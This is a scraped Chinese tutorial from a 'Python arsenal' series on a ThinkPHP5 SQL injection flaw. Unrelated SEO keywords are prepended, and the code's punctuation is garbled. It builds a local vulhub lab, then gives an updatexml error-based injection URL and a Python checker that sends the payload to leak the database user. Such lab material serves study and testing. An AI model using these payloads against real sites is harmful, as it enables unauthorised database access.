万年历网站做,温州推广团队,wordpress ip,六安论坛百姓杂谈Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞#xff08;六十六#xff09;
漏洞环境搭建
这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装#xff0c;我们进入 ThinkPHP漏洞环境#xff0c;可以 cd ThinkPHP#xff0c;然后通过 …Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞六十六
漏洞环境搭建
这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装我们进入 ThinkPHP漏洞环境可以 cd ThinkPHP然后通过 ls 查看可以搭建的靶场目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 in-sqlinjection 漏洞举例如果我们想要安装 in-sqlinjection 漏洞环境可以 cd 到 in-sqlinjection 然后输入以下命令启动靶场环境
docker-compose up -d然后我们在浏览器输入 https://localhost:8083 就可以访问靶场环境 Thinkphp5 SQL注入漏洞原理
ThinkPHP 5 是一个开源的 PHP 框架被广泛用于构建 Web 应用程序。然而由于编码不规范或未经适当验证的用户输入数据可能会导致 SQL 注入漏洞。
SQL 注入攻击是一种利用应用程序对用户输入数据的处理不当导致恶意 SQL 代码被执行的攻击方式。攻击者通过在用户输入的数据中注入恶意的 SQL 代码从而获得对数据库的访问权限或执行未授权的操作。
在 ThinkPHP 5 中SQL 注入漏洞的主要原因是传入的某参数在绑定编译指令的时候又没有安全处理预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
Thinkphp5 SQL注入漏洞 POC
接下来我们给出Thinkphp5 SQL注入漏洞的POC代码内容如下
index.php?ids[]1ids[]2
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]1我们像URL路径下添加POC就可以看到泄露的账户和密码 Thinkphp5 SQL注入漏洞 POC编写
现在我们用python编写检测Thinkphp5 SQL注入漏洞的代码内容如下
#!/usr/bin/env pythonimport requests
from urllib.parse import urljoindef thinkphp5_sqli(url):payload urljoin(url,/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]1)response requests.get(urlpayload, verifyFalse)if XPATH syntax error in response.text:print(漏洞存在)else:print(漏洞不存在)if __name__ __main__:url http://localhost:8083/thinkphp5_sqli(url)POC代码详细分析
这段代码是用于检测ThinkPHP 5框架的SQL注入漏洞。首先代码导入了必要的库包括requests和urllib.parse模块。然后定义了一个名为thinkphp5_sqli的函数该函数接收一个url参数。
函数主要通过构造一个特定的payload来检测目标URL是否存在漏洞。在payload中使用了urljoin函数来构造一个URL其中包含了一个恶意的SQL注入语句。具体来说这个注入语句使用了updatexml函数来执行一些恶意的操作比如获取当前用户。
然后代码使用requests库发送一个GET请求并将构造的payload作为url参数传递给请求。verify参数设置为False表示不进行SSL验证。
最后代码检查响应中是否包含了XPATH syntax error这个字符串。如果存在该字符串说明目标URL存在SQL注入漏洞输出漏洞存在。否则输出漏洞不存在。
在if name main:部分代码定义了一个默认的url为http://localhost:8083/并调用thinkphp5_sqli函数来检测该URL是否存在漏洞。可以根据需要修改默认的url参数来检测其他URL。
运行效果图
如下是我们这串代码的实际运行效果图